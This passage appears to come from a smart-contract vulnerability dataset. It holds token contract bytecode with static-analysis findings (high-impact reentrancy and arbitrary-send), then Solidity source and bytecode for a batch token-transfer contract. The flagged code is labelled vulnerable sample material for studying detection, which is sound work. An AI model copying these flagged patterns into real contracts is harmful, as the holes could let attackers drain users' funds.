ffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90613344565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e69190613484565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90613404565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90613304565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d906133e4565b60405180910390fd5b61171e6109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178c575061175c6109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7457600f60179054906101000a900460ff16156119bf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118685750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119be57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611908611420565b73ffffffffffffffffffffffffffffffffffffffff16148061197e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611966611420565b73ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490613464565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a635750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ab95750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ac257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b6d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bc35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bdb5750600f60179054906101000a900460ff165b15611c7c5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c2b57600080fd5b601442611c3891906135ba565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601154611c8b91906135ba565b4311158015611c9b575060105481145b15611eba57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dae576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611eb9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e5a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611eb8576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ec530610849565b9050600f60159054906101000a900460ff16158015611f325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f4a5750600f60169054906101000a900460ff165b15611f7257611f5881612204565b60004790506000811115611f7057611f6f4761209b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202557600090505b612031848484846125c3565b50505050565b600083831115829061207f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207691906132e2565b60405180910390fd5b506000838561208e919061369b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120eb60028461257990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612116573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216760028461257990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612192573d6000803e3d6000fd5b5050565b60006006548211156121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613324565b60405180910390fd5b60006121e76125f0565b90506121fc818461257990919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612262577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122905781602001602082028036833780820191505090505b50905030816000815181106122ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237057600080fd5b505afa158015612384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123a89190612d51565b816001815181106123e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124ad95949392919061349f565b600060405180830381600087803b1580156124c757600080fd5b505af11580156124db573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156125115760009050612573565b6000828461251f9190613641565b905082848261252e9190613610565b1461256e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612565906133a4565b60405180910390fd5b809150505b92915050565b60006125bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061261b565b905092915050565b806125d1576125d061267e565b5b6125dc8484846126af565b806125ea576125e961287a565b5b50505050565b60008060006125fd61288c565b91509150612614818361257990919063ffffffff16565b9250505090565b60008083118290612662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265991906132e2565b60405180910390fd5b50600083856126719190613610565b9050809150509392505050565b600060085414801561269257506000600954145b1561269c576126ad565b600060088190555060006009819055505b565b6000806000806000806126c1876128ee565b95509550955095509550955061271f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612800816129fe565b61280a8483612abb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128679190613484565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506128c2683635c9adc5dea0000060065461257990919063ffffffff16565b8210156128e157600654683635c9adc5dea000009350935050506128ea565b81819350935050505b9091565b600080600080600080600080600061290b8a600854600954612af5565b925092509250600061291b6125f0565b9050600080600061292e8e878787612b8b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612037565b905092915050565b60008082846129af91906135ba565b9050838110156129f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129eb90613364565b60405180910390fd5b8091505092915050565b6000612a086125f0565b90506000612a1f82846124fe90919063ffffffff16565b9050612a7381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ad08260065461295690919063ffffffff16565b600681905550612aeb816007546129a090919063ffffffff16565b6007819055505050565b600080600080612b216064612b13888a6124fe90919063ffffffff16565b61257990919063ffffffff16565b90506000612b4b6064612b3d888b6124fe90919063ffffffff16565b61257990919063ffffffff16565b90506000612b7482612b66858c61295690919063ffffffff16565b61295690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba485896124fe90919063ffffffff16565b90506000612bbb86896124fe90919063ffffffff16565b90506000612bd287896124fe90919063ffffffff16565b90506000612bfb82612bed858761295690919063ffffffff16565b61295690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c27612c2284613539565b613514565b90508083825260208201905082856020860282011115612c4657600080fd5b60005b85811015612c765781612c5c8882612c80565b845260208401935060208301925050600181019050612c49565b5050509392505050565b600081359050612c8f81613b77565b92915050565b600081519050612ca481613b77565b92915050565b600082601f830112612cbb57600080fd5b8135612ccb848260208601612c14565b91505092915050565b600081359050612ce381613b8e565b92915050565b600081519050612cf881613b8e565b92915050565b600081359050612d0d81613ba5565b92915050565b600081519050612d2281613ba5565b92915050565b600060208284031215612d3a57600080fd5b6000612d4884828501612c80565b91505092915050565b600060208284031215612d6357600080fd5b6000612d7184828501612c95565b91505092915050565b60008060408385031215612d8d57600080fd5b6000612d9b85828601612c80565b9250506020612dac85828601612c80565b9150509250929050565b600080600060608486031215612dcb57600080fd5b6000612dd986828701612c80565b9350506020612dea86828701612c80565b9250506040612dfb86828701612cfe565b9150509250925092565b60008060408385031215612e1857600080fd5b6000612e2685828601612c80565b9250506020612e3785828601612cfe565b9150509250929050565b600060208284031215612e5357600080fd5b600082013567ffffffffffffffff811115612e6d57600080fd5b612e7984828501612caa565b91505092915050565b600060208284031215612e9457600080fd5b6000612ea284828501612cd4565b91505092915050565b600060208284031215612ebd57600080fd5b6000612ecb84828501612ce9565b91505092915050565b600060208284031215612ee657600080fd5b6000612ef484828501612cfe565b91505092915050565b600080600060608486031215612f1257600080fd5b6000612f2086828701612d13565b9350506020612f3186828701612d13565b9250506040612f4286828701612d13565b9150509250925092565b6000612f588383612f64565b60208301905092915050565b612f6d816136cf565b82525050565b612f7c816136cf565b82525050565b6000612f8d82613575565b612f978185613598565b9350612fa283613565565b8060005b83811015612fd3578151612fba8882612f4c565b9750612fc58361358b565b925050600181019050612fa6565b5085935050505092915050565b612fe9816136e1565b82525050565b612ff881613724565b82525050565b600061300982613580565b61301381856135a9565b9350613023818560208601613736565b61302c81613870565b840191505092915050565b60006130446023836135a9565b915061304f82613881565b604082019050919050565b6000613067602a836135a9565b9150613072826138d0565b604082019050919050565b600061308a6022836135a9565b91506130958261391f565b604082019050919050565b60006130ad601b836135a9565b91506130b88261396e565b602082019050919050565b60006130d0601d836135a9565b91506130db82613997565b602082019050919050565b60006130f36021836135a9565b91506130fe826139c0565b604082019050919050565b60006131166020836135a9565b915061312182613a0f565b602082019050919050565b60006131396029836135a9565b915061314482613a38565b604082019050919050565b600061315c6025836135a9565b915061316782613a87565b604082019050919050565b600061317f6024836135a9565b915061318a82613ad6565b604082019050919050565b60006131a26017836135a9565b91506131ad82613b25565b602082019050919050565b60006131c56011836135a9565b91506131d082613b4e565b602082019050919050565b6131e48161370d565b82525050565b6131f381613717565b82525050565b600060208201905061320e6000830184612f73565b92915050565b60006040820190506132296000830185612f73565b6132366020830184612f73565b9392505050565b60006040820190506132526000830185612f73565b61325f60208301846131db565b9392505050565b600060c08201905061327b6000830189612f73565b61328860208301886131db565b6132956040830187612fef565b6132a26060830186612fef565b6132af6080830185612f73565b6132bc60a08301846131db565b979650505050505050565b60006020820190506132dc6000830184612fe0565b92915050565b600060208201905081810360008301526132fc8184612ffe565b905092915050565b6000602082019050818103600083015261331d81613037565b9050919050565b6000602082019050818103600083015261333d8161305a565b9050919050565b6000602082019050818103600083015261335d8161307d565b9050919050565b6000602082019050818103600083015261337d816130a0565b9050919050565b6000602082019050818103600083015261339d816130c3565b9050919050565b600060208201905081810360008301526133bd816130e6565b9050919050565b600060208201905081810360008301526133dd81613109565b9050919050565b600060208201905081810360008301526133fd8161312c565b9050919050565b6000602082019050818103600083015261341d8161314f565b9050919050565b6000602082019050818103600083015261343d81613172565b9050919050565b6000602082019050818103600083015261345d81613195565b9050919050565b6000602082019050818103600083015261347d816131b8565b9050919050565b600060208201905061349960008301846131db565b92915050565b600060a0820190506134b460008301886131db565b6134c16020830187612fef565b81810360408301526134d38186612f82565b90506134e26060830185612f73565b6134ef60808301846131db565b9695505050505050565b600060208201905061350e60008301846131ea565b92915050565b600061351e61352f565b905061352a8282613769565b919050565b6000604051905090565b600067ffffffffffffffff82111561355457613553613841565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135c58261370d565b91506135d08361370d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613605576136046137e3565b5b828201905092915050565b600061361b8261370d565b91506136268361370d565b92508261363657613635613812565b5b828204905092915050565b600061364c8261370d565b91506136578361370d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136905761368f6137e3565b5b828202905092915050565b60006136a68261370d565b91506136b18361370d565b9250828210156136c4576136c36137e3565b5b828203905092915050565b60006136da826136ed565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061372f8261370d565b9050919050565b60005b83811015613754578082015181840152602081019050613739565b83811115613763576000848401525b50505050565b61377282613870565b810181811067ffffffffffffffff8211171561379157613790613841565b5b80604052505050565b60006137a58261370d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137d8576137d76137e3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613b80816136cf565b8114613b8b57600080fd5b50565b613b97816136e1565b8114613ba257600080fd5b50565b613bae8161370d565b8114613bb957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072d05da659892940927b48818b5780c897980eff5cf6a4c52070aca9f078935064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,815
0x7f943050f1845b081c285099451cdcadbbe1c03e
/** *Submitted for verification at Etherscan.io on 2022-02-05 */ pragma solidity ^0.8.2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Batch is Ownable { using SafeMath for uint256; constructor() {} function release(address _token, address payable _to) onlyOwner public payable { address payable to; if (_to != address(0)) to = _to; else to = payable(msg.sender) ; if (_token == address(0)) { require(address(this).balance > 0, "Balance empty"); to.transfer(address(this).balance); } else { IERC20 token = IERC20(_token); uint256 _balance = token.balanceOf(address(this)); require(_balance > 0, "Balance empty"); token.transfer(to, _balance); } // selfdestruct(to); } function batchSameValue(address _token, uint256 _value, address payable[] memory _tos) public payable returns (bool){ //it was caller's responsbility to ensure enough token require(_value > 0, "Transfer failed"); require(_tos.length >= 1); uint total = _value.mul(_tos.length); if (_token == address(0)) { require(msg.value >= total, "ETH transfer value not enough"); for(uint i = 0; i < _tos.length; i++) { address payable to = _tos[i]; to.transfer(_value); } } else { IERC20 token = IERC20(_token); require(token.allowance(address(msg.sender), address(this)) >= total, "Token allowance not enough"); require(token.balanceOf(address(msg.sender)) >= total, "Token balance not enough"); for(uint i = 0; i < _tos.length; i++){ require(token.transferFrom(msg.sender, _tos[i], _value), "Transfer failed"); } } return true; } function batch(address _token, uint256[] memory _values, address payable[] memory _tos) public payable returns (bool){ require(_values.length == _tos.length); require(_tos.length >= 1); uint total = 0; for(uint i = 0; i < _tos.length; i++){ total = total.add(_values[i]); } if (_token == address(0)) { require(msg.value >= total, "ETH transfer value not enough"); for(uint i = 0; i < _tos.length; i++){ address payable to = _tos[i]; to.transfer(_values[i]); } } else { IERC20 token = IERC20(_token); require(token.allowance(address(msg.sender), address(this)) >= total, "Token allowance not enough"); require(token.balanceOf(address(msg.sender)) >= total, "Token balance not enough"); for(uint i = 0; i < _tos.length; i++){ token.transferFrom(msg.sender, _tos[i], _values[i]); } } return true; } receive() external payable {} }
0x6080604052600436106100745760003560e01c8063715018a61161004e578063715018a6146100fc5780638da5cb5b146101135780638f32d59b1461013e578063f2fde38b146101695761007b565b806308b4ce75146100805780634771c92f146100b057806348b75044146100e05761007b565b3661007b57005b600080fd5b61009a600480360381019061009591906113f7565b610192565b6040516100a791906116cb565b60405180910390f35b6100ca60048036038101906100c59190611378565b610600565b6040516100d791906116cb565b60405180910390f35b6100fa60048036038101906100f5919061133c565b610ada565b005b34801561010857600080fd5b50610111610d91565b005b34801561011f57600080fd5b50610128610e96565b6040516101359190611627565b60405180910390f35b34801561014a57600080fd5b50610153610ebf565b60405161016091906116cb565b60405180910390f35b34801561017557600080fd5b50610190600480360381019061018b9190611313565b610f1d565b005b60008083116101d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101cd90611706565b60405180910390fd5b6001825110156101e557600080fd5b60006101fb835185610f7090919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156103275780341015610275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026c90611786565b60405180910390fd5b60005b83518110156103215760008482815181106102bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f1935050505015801561030c573d6000803e3d6000fd5b5050808061031990611a36565b915050610278565b506105f4565b6000859050818173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b815260040161036892919061166b565b60206040518083038186803b15801561038057600080fd5b505afa158015610394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b89190611487565b10156103f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f090611766565b60405180910390fd5b818173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016104339190611627565b60206040518083038186803b15801561044b57600080fd5b505afa15801561045f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104839190611487565b10156104c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bb90611726565b60405180910390fd5b60005b84518110156105f1578173ffffffffffffffffffffffffffffffffffffffff166323b872dd33878481518110610526577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151896040518463ffffffff1660e01b815260040161054d93929190611694565b602060405180830381600087803b15801561056757600080fd5b505af115801561057b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059f919061145e565b6105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590611706565b60405180910390fd5b80806105e990611a36565b9150506104c7565b50505b60019150509392505050565b6000815183511461061057600080fd5b60018251101561061f57600080fd5b6000805b83518110156106945761067f858281518110610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015183610feb90919063ffffffff16565b9150808061068c90611a36565b915050610623565b50600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156107ff578034101561070d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070490611786565b60405180910390fd5b60005b83518110156107f9576000848281518110610754577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff166108fc8784815181106107b1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519081150290604051600060405180830381858888f193505050501580156107e4573d6000803e3d6000fd5b505080806107f190611a36565b915050610710565b50610ace565b6000859050818173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b815260040161084092919061166b565b60206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611487565b10156108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890611766565b60405180910390fd5b818173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b815260040161090b9190611627565b6020604051